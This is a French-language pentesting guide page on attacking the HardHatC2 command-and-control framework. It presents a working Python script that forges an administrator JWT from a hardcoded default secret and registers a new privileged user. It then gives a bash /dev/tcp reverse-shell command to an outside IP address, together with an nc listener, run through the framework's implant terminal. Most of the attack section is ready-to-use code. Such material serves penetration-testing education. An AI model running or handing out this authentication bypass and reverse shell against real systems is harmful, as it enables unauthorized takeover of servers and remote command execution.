# Port 7096 - Pentesting HardHatC2

{% hint style="info" %}
HardHatC2 est un framework de commande et contrôle (C2) multi-utilisateurs basé sur C# et .NET, conçu pour faciliter les engagements des équipes rouges et les tests d'intrusion. Il comprend principalement un serveur d'équipe ASP.NET, un client Blazor .NET et des implants intégrés en C#, avec la possibilité de prendre en charge des implants tiers dans d'autres langages.
{% endhint %}

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FtB9jTcL7MNTPlBz8GhN2%2F%7BCAF9B213-D2BF-438F-920E-62388C3679DA%7D.png?alt=media&#x26;token=f6f9600e-ad02-4e80-a73a-6d4999817fb5" alt=""><figcaption></figcaption></figure>

## **Bypass d'authentification HardHat C2 :**

{% embed url="<https://blog.sth.sh/hardhatc2-0-days-rce-authn-bypass-96ba683d9dd7>" %}

Nous utilisons le script suivant pour contourner l'authentification et créer un nouvel utilisateur :&#x20;

```python
import jwt  
import datetime  
import uuid  
import requests  
  
rhost = '127.0.0.1:5000'  
  
# Craft Admin JWT  
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"  
issuer = "hardhatc2.com"  
now = datetime.datetime.utcnow()  
  
expiration = now + datetime.timedelta(days=28)  
payload = {  
"sub": "HardHat_Admin",  
"jti": str(uuid.uuid4()),  
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",  
"iss": issuer,  
"aud": issuer,  
"iat": int(now.timestamp()),  
"exp": int(expiration.timestamp()),  
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"  
}  
  
token = jwt.encode(payload, secret, algorithm="HS256")  
print("Generated JWT:")  
print(token)  
  
# Use Admin JWT to create a new user 'sth_pentest' as TeamLead  
burp0_url = f"https://{rhost}/Login/Register"  
burp0_headers = {  
"Authorization": f"Bearer {token}",  
"Content-Type": "application/json"  
}  
burp0_json = {  
"password": "jordan12345",  
"role": "TeamLead",  
"username": "jordan"  
}  
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)  
print(r.text)
```

Le script génère l'utilisateur `jordan` avec le rôle `TeamLead`.

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FVAj0jAbTPacwf11dNBDH%2Fimage.png?alt=media&#x26;token=7d0e59bf-7623-4dc2-bc03-927a04b66fbf" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2F4XOzkG5yabiUaGgvmQ1V%2F%7BE9238EDA-497D-4012-8749-D86F6DDA1C96%7D.png?alt=media&#x26;token=76a0c83c-86ec-477c-9375-37932b992826" alt=""><figcaption></figcaption></figure>

## Hardhat C2 (RCE)

Sur la partie `ImplantInteract`, nous avons accès à un terminal. En exécutant la commande `whoami`, nous voyons que nous sommes connectés en tant qu'utilisateur `sergej`.

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FWwXJMWNSAyTKWmCblV5L%2Fimage.png?alt=media&#x26;token=1e07f44e-9394-4e33-8dc2-56b99f3efd6b" alt=""><figcaption></figcaption></figure>

Nous établissons une reverse shell pour l'utilisateur `sergej` en écoutant sur le port 443 :

```bash
nc -nlvp 443
```

Et exécutons la commande suivante pour établir la connexion inversée&#x20;

```bash
bash -c "bash -i >& /dev/tcp/10.10.14.163/443 0>&1"
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2F8LXonbbgm3MDQuquH7Tb%2F%7B5CF0CBAF-AF14-482B-B5CD-78B0329A1283%7D.png?alt=media&#x26;token=99fa5b7c-7f60-4a16-b3e3-483ccb821741" alt="" width="563"><figcaption></figcaption></figure>
